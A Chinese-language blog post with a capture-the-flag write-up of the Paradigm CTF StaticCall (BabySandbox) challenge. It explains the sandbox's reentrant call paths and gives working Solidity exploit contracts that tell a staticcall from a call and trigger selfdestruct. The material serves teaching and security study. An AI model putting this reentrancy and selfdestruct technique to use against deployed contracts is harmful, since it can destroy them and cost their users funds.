Paradigm CTF-StaticCall
本题目是Paradigm的CTF系列中的一道,属于较为简单的题目。它主要考察了StaticCall这一知识点。
# Paradigm CTF-StaticCall 本题目是Paradigm的CTF系列中的一道,属于较为简单的题目。它主要考察了StaticCall这一知识点。 > 目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 。如果你觉得我写的还不错,可以加我的微信:woodward1993 ## 题目介绍: ![image20210705200543555.png](https://img.learnblockchain.cn/attachments/2021/07/8hrcoUEu60e30449b5d06.png) 简单来讲,就是将合约babysandbox销毁掉,从而满足:`extcodesize(sload(sandbox.slot)==0`这一条件。:fish: ## 合约分析: 本题目一共就两个合约,一个setup和一个babysandbox. 比上道题目代理合约要简单不少。 - setup合约:给出一个判据,即`extcodesize(sload(sandbox.slot)==0`,来判断是否完成挑战 - babysandbox合约:只有一个方法,`run(address)`,这个方法有如下特点: :triangular_flag_on_post:没有`nonReentrancy`修饰符,可以重进入 :triangular_flag_on_post:合约中存在`delegateCall,staticCall,call`,且合约的主要逻辑也是通过`delegateCall,staticCall,call`来实现的 ## 逻辑分析: 这道题目的逻辑分析跟上次做的ParadigmCTF-Bank非常相似,Bank那道题目也是存在重进入位点,并且重进入位点都有各自的限制,并每处修改的状态也不一样。故这次我们可以借用相同的逻辑,来分析本题的远程调用位点和各自的限制等。 | 远程调用位点 | 限制 | 状态改变 | | ----------------------- | --------------------------- | --------------------- | | `delegatecall(code)` | `msg.sender==address(this)` | 0=>revert,1=>return | | `staticcall(address())` | NA | 0=>revert | | `call(address())` | NA | 0=>codecopy,1=>return | :fast_forward:从前向后分析: 简单看,我们的外部合约通过调用`exploit()`方法,调用`babysandbox.run(code)`方法,并将外部合约的地址作为参数传入。根据如下流程图,首先会判断`msg.sender == address(this)`,即判断是否为合约自身调用。由于我们是外部调用该合约,故此时的`msg.sender`是code合约地址,判断为否。然后进入`staticcall(address(this))`部分,它重进入自己的合约内,再次调用`babysandbox.run(code)`方法。此时需注意,由于是重进入,故此时的`msg.sender`与`address(this)`相等。故经过判定,会进入到`delegatecall(code)`的逻辑中。在`delegatecall(code)`逻辑中,实际上是调用调用外部合约code的`fallback()`方法,注意此时为`staticcall`的调用环境,故此时应该让其直接返回`success`即可。`staticcall(address(this))`通过后,会进入`call(address(this))`调用,同样的参数,同样的逻辑过程。只是需要在`code.fallback()`函数中,不直接返回,而是执行`selfdestruct(tx.origin)`来销毁babysandbox合约。 ```flow st=>start: code.exploit() op=>operation: babysandbox.run(code) delegate=>operation: delegatecall(code) static=>operation: staticcall or call(address(this)) fallback=>operation: code.fallback() selfdestruct=>operation: selfdestruct() cond=>condition: msg.sender == address(this) cond2=>condition: success? cond3=>condition: staticcall or call e=>end: revert revert=>end: revert return=>operation: return call=>operation: call(address(this)) st->op->cond cond(yes)->delegate cond(no)->static static->op delegate->fallback fallback->cond3 cond3(yes)->cond2 cond3(no)->selfdestruct->cond2 cond2(yes)->return cond2(no)->revert ``` ![image20210706094330303.png](https://img.learnblockchain.cn/attachments/2021/07/aVxnkS2H60e3b5d3091c8.png) :cat:注意点1:对于call调用的参数理解 ```assembly call(0x4000, address(), 0, 0, calldatasize(), 0, 0) => gas 数量= 0x4000 目标地址: babysandbox合约地址 参数:为内存中MEM[0x00:0x00+calldatasize()],即外部调用时的calldata 返回值拷贝0 ``` 结合上篇文章对于CALL这一OPCODE的分析,可以知道它实际上是将原先的外部调用的calldata重新再次调用。实际上是重进入。 :cat:注意点2:对于`delegatecall`调用的理解 由于在执行`code.fallback()`时,是在`delegatecall`的上下文环境下执行。故需要注意`delegatecall`的特点,即内存和存储都是本地合约,代码是远程合约。在写fallback()时,要注意读取参数时的上下文环境。 :fast_forward:整理成调用栈 故我们将上述流程图,整理成调用栈为: ```assembly code.exploit() ->babysandbox.run(code) ->babysandbox.staticcall(address(this)) ->babysandbox.run(code) ->babysandbox.delegatecall(code) ->code.fallback() return //满足staticcall的要求,不能改变任何地址,合约的状态 ->babysandbox.call(address(this)) ->babysandbox.run(code) ->babysandbox.delegatecall(code) ->code.fallback() selfdestruct //满足题目要求,让babysandbox合约自毁 ``` 此时,我们发现问题的关键在于`code.fallback()`方法,其需要在`staticcall和call`中执行不同的逻辑。我们可以写出如下的伪代码: ```js pragma solidity 0.7.0; import "./Setup.sol"; contract CODE1 { Setup public setup; BabySandbox public babysandbox; constructor(address _setup) public { setup = Setup(_setup); babysandbox = setup.sandbox(); } fallback() external payable{ if (something) { return; } else { selfdestruct(tx.origin); } } function exploit() public { babysandbox.run(address(this)); } } ``` ## 问题简化: 此时,问题转化为,如何让我们的fallback函数能够判断它是由call调用还是staticcall调用? 当然,结合我们之前的经验,要使得同一个函数在不同调用中展示不同的逻辑,我们可以有如下三个方法: ### 思路1:全局变量 使用全局变量,每一次调用时,根据条件更改一个全局变量的值。下次调用时,根据全局变量的值,来执行不同的逻辑。典型的利用如*Paradigm CTF-银行*中提到的:这里的reentry就是一个全局变量,初始化时将其设置为1,展示逻辑1,同时在逻辑1中更改其值,然后再重进入该合约,执行不同的逻辑。然而在`staticcall`的上下文环境中,不允许修改状态,不允许更改全局变量的值。故此方法无法使用。 ```js uint reentry = 1; function balanceOf(address who) public returns (uint){ // withdrawToken 1 [0, 1] // closeAcc [0, 0] // depositToken 1 [0, 1] // closeAcc [0, 0] // depositToken 2 [1, 0] // withdrawToken 2 [0, -1] if (reentry == 1) { reentry = 0; Bank(bank).closeLastAccount(); reentry = 2; Bank(bank).depositToken(0, address(this), 0); } else if (reentry == 2) { Bank(bank).closeLastAccount(); reentry = 0; } return 0; } ``` ### 思路2:Gas数量 根据剩余的Gas来判断。此时我们观察到他的执行顺序是先执行`staticcall`再执行`call`,故如果我们通过判断`gasleft()`,gas量多的为第一次执行,即`staticcall`,gas量少的为第二次执行,即`call` ```js fallback() external payable{ if (gasleft() > _value) { return; } else { selfdestruct(tx.origin); } } ``` 但是在本题目中,它通过设定每次调用的gas总量堵死了该判断方式。无论在`staticcall`还是`call`,它每次调用的gas总量都是`0x4000`. ### 思路3:staticcall与call本质区别 通过EIP-214得知,`staticcall`的本质是严禁修改任何地址,合约的状态,即不允许使用`create,create2,LOG0-4,sstore,selfdestruct`等OPCODE以及ETH的转账。而`call`则允许状态修改。故而,我们可以利用这一点,通过在上下文环境中,`call`一个外部地址的方法,该方法会修改状态。这里利用的是CALL这一OPCODE的返回值,如果CALL远程地址的过程中,遇到了REVERT,其并不会整个全部REVERT,而是标记返回值为0。如果CALL远程地址成功,则标记返回值为1。 $$ \boldsymbol{\mu}'_{\mathbf{s}}[0] \equiv x\\ $$ 如果执行过程中,遇到异常停顿,如REVERT,或者没有足够的ETH,或者栈深度超过1024,返回值X=0, 否则执行成功,返回值X=1 ```js pragma solidity 0.7.0; import "./Setup.sol"; contract CODE3 { Setup public setup; BabySandbox public babysandbox; constructor(address _setup) public { setup = Setup(_setup); babysandbox = setup.sandbox(); } fallback() external payable{ bool flag; assembly{ let code2_addr := 0x5e17b14ADd6c386305A32928F985b29bbA34Eff5 //部署CODE2后的地址 flag := call(gas(),code2_addr,0,0,0,0,0) } if (!flag) { return; } else { selfdestruct(tx.origin); } } function exploit() public { babysandbox.run(address(this)); } } contract CODE2 { //部署CODE2后的地址为:0x5e17b14ADd6c386305A32928F985b29bbA34Eff5 fallback() external payable{ selfdestruct(tx.origin); } } ```
Paradigm CTF-StaticCall
本题目是Paradigm的CTF系列中的一道,属于较为简单的题目。它主要考察了StaticCall这一知识点。
目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 。如果你觉得我写的还不错,可以加我的微信:woodward1993
题目介绍:
简单来讲,就是将合约babysandbox销毁掉,从而满足:extcodesize(sload(sandbox.slot)==0
这一条件。:fish:
合约分析:
本题目一共就两个合约,一个setup和一个babysandbox. 比上道题目代理合约要简单不少。
- setup合约:给出一个判据,即
extcodesize(sload(sandbox.slot)==0
,来判断是否完成挑战 -
babysandbox合约:只有一个方法,
run(address)
,这个方法有如下特点::triangular_flag_on_post:没有
nonReentrancy
修饰符,可以重进入:triangular_flag_on_post:合约中存在
delegateCall,staticCall,call
,且合约的主要逻辑也是通过delegateCall,staticCall,call
来实现的
逻辑分析:
这道题目的逻辑分析跟上次做的ParadigmCTF-Bank非常相似,Bank那道题目也是存在重进入位点,并且重进入位点都有各自的限制,并每处修改的状态也不一样。故这次我们可以借用相同的逻辑,来分析本题的远程调用位点和各自的限制等。
远程调用位点 | 限制 | 状态改变 |
---|---|---|
delegatecall(code) |
msg.sender==address(this) |
0=>revert,1=>return |
staticcall(address()) |
NA | 0=>revert |
call(address()) |
NA | 0=>codecopy,1=>return |
:fast_forward:从前向后分析:
简单看,我们的外部合约通过调用exploit()
方法,调用babysandbox.run(code)
方法,并将外部合约的地址作为参数传入。根据如下流程图,首先会判断msg.sender == address(this)
,即判断是否为合约自身调用。由于我们是外部调用该合约,故此时的msg.sender
是code合约地址,判断为否。然后进入staticcall(address(this))
部分,它重进入自己的合约内,再次调用babysandbox.run(code)
方法。此时需注意,由于是重进入,故此时的msg.sender
与address(this)
相等。故经过判定,会进入到delegatecall(code)
的逻辑中。在delegatecall(code)
逻辑中,实际上是调用调用外部合约code的fallback()
方法,注意此时为staticcall
的调用环境,故此时应该让其直接返回success
即可。staticcall(address(this))
通过后,会进入call(address(this))
调用,同样的参数,同样的逻辑过程。只是需要在code.fallback()
函数中,不直接返回,而是执行selfdestruct(tx.origin)
来销毁babysandbox合约。
st=>start: code.exploit()
op=>operation: babysandbox.run(code)
delegate=>operation: delegatecall(code)
static=>operation: staticcall or call(address(this))
fallback=>operation: code.fallback()
selfdestruct=>operation: selfdestruct()
cond=>condition: msg.sender == address(this)
cond2=>condition: success?
cond3=>condition: staticcall or call
e=>end: revert
revert=>end: revert
return=>operation: return
call=>operation: call(address(this))
st->op->cond
cond(yes)->delegate
cond(no)->static
static->op
delegate->fallback
fallback->cond3
cond3(yes)->cond2
cond3(no)->selfdestruct->cond2
cond2(yes)->return
cond2(no)->revert
:cat:注意点1:对于call调用的参数理解
call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
=>
gas 数量= 0x4000
目标地址: babysandbox合约地址
参数:为内存中MEM[0x00:0x00+calldatasize()],即外部调用时的calldata
返回值拷贝0
结合上篇文章对于CALL这一OPCODE的分析,可以知道它实际上是将原先的外部调用的calldata重新再次调用。实际上是重进入。
:cat:注意点2:对于delegatecall
调用的理解
由于在执行code.fallback()
时,是在delegatecall
的上下文环境下执行。故需要注意delegatecall
的特点,即内存和存储都是本地合约,代码是远程合约。在写fallback()时,要注意读取参数时的上下文环境。
:fast_forward:整理成调用栈
故我们将上述流程图,整理成调用栈为:
code.exploit()
->babysandbox.run(code)
->babysandbox.staticcall(address(this))
->babysandbox.run(code)
->babysandbox.delegatecall(code)
->code.fallback()
return //满足staticcall的要求,不能改变任何地址,合约的状态
->babysandbox.call(address(this))
->babysandbox.run(code)
->babysandbox.delegatecall(code)
->code.fallback()
selfdestruct //满足题目要求,让babysandbox合约自毁
此时,我们发现问题的关键在于code.fallback()
方法,其需要在staticcall和call
中执行不同的逻辑。我们可以写出如下的伪代码:
pragma solidity 0.7.0;
import "./Setup.sol";
contract CODE1 {
Setup public setup;
BabySandbox public babysandbox;
constructor(address _setup) public {
setup = Setup(_setup);
babysandbox = setup.sandbox();
}
fallback() external payable{
if (something) {
return;
} else {
selfdestruct(tx.origin);
}
}
function exploit() public {
babysandbox.run(address(this));
}
}
问题简化:
此时,问题转化为,如何让我们的fallback函数能够判断它是由call调用还是staticcall调用?
当然,结合我们之前的经验,要使得同一个函数在不同调用中展示不同的逻辑,我们可以有如下三个方法:
思路1:全局变量
使用全局变量,每一次调用时,根据条件更改一个全局变量的值。下次调用时,根据全局变量的值,来执行不同的逻辑。典型的利用如Paradigm CTF-银行中提到的:这里的reentry就是一个全局变量,初始化时将其设置为1,展示逻辑1,同时在逻辑1中更改其值,然后再重进入该合约,执行不同的逻辑。然而在staticcall
的上下文环境中,不允许修改状态,不允许更改全局变量的值。故此方法无法使用。
uint reentry = 1;
function balanceOf(address who) public returns (uint){
// withdrawToken 1 [0, 1]
// closeAcc [0, 0]
// depositToken 1 [0, 1]
// closeAcc [0, 0]
// depositToken 2 [1, 0]
// withdrawToken 2 [0, -1]
if (reentry == 1) {
reentry = 0;
Bank(bank).closeLastAccount();
reentry = 2;
Bank(bank).depositToken(0, address(this), 0);
} else if (reentry == 2) {
Bank(bank).closeLastAccount();
reentry = 0;
}
return 0;
}
思路2:Gas数量
根据剩余的Gas来判断。此时我们观察到他的执行顺序是先执行staticcall
再执行call
,故如果我们通过判断gasleft()
,gas量多的为第一次执行,即staticcall
,gas量少的为第二次执行,即call
fallback() external payable{
if (gasleft() > _value) {
return;
} else {
selfdestruct(tx.origin);
}
}
但是在本题目中,它通过设定每次调用的gas总量堵死了该判断方式。无论在staticcall
还是call
,它每次调用的gas总量都是0x4000
.
思路3:staticcall与call本质区别
通过EIP-214得知,staticcall
的本质是严禁修改任何地址,合约的状态,即不允许使用create,create2,LOG0-4,sstore,selfdestruct
等OPCODE以及ETH的转账。而call
则允许状态修改。故而,我们可以利用这一点,通过在上下文环境中,call
一个外部地址的方法,该方法会修改状态。这里利用的是CALL这一OPCODE的返回值,如果CALL远程地址的过程中,遇到了REVERT,其并不会整个全部REVERT,而是标记返回值为0。如果CALL远程地址成功,则标记返回值为1。
$$ \boldsymbol{\mu}'_{\mathbf{s}}[0] \equiv x\ $$
如果执行过程中,遇到异常停顿,如REVERT,或者没有足够的ETH,或者栈深度超过1024,返回值X=0, 否则执行成功,返回值X=1
pragma solidity 0.7.0;
import "./Setup.sol";
contract CODE3 {
Setup public setup;
BabySandbox public babysandbox;
constructor(address _setup) public {
setup = Setup(_setup);
babysandbox = setup.sandbox();
}
fallback() external payable{
bool flag;
assembly{
let code2_addr := 0x5e17b14ADd6c386305A32928F985b29bbA34Eff5 //部署CODE2后的地址
flag := call(gas(),code2_addr,0,0,0,0,0)
}
if (!flag) {
return;
} else {
selfdestruct(tx.origin);
}
}
function exploit() public {
babysandbox.run(address(this));
}
}
contract CODE2 { //部署CODE2后的地址为:0x5e17b14ADd6c386305A32928F985b29bbA34Eff5
fallback() external payable{
selfdestruct(tx.origin);
}
}
区块链技术网。
- 发表于 2021-07-05 21:09
- 阅读 ( 420 )
- 学分 ( 12 )
- 分类:智能合约
评论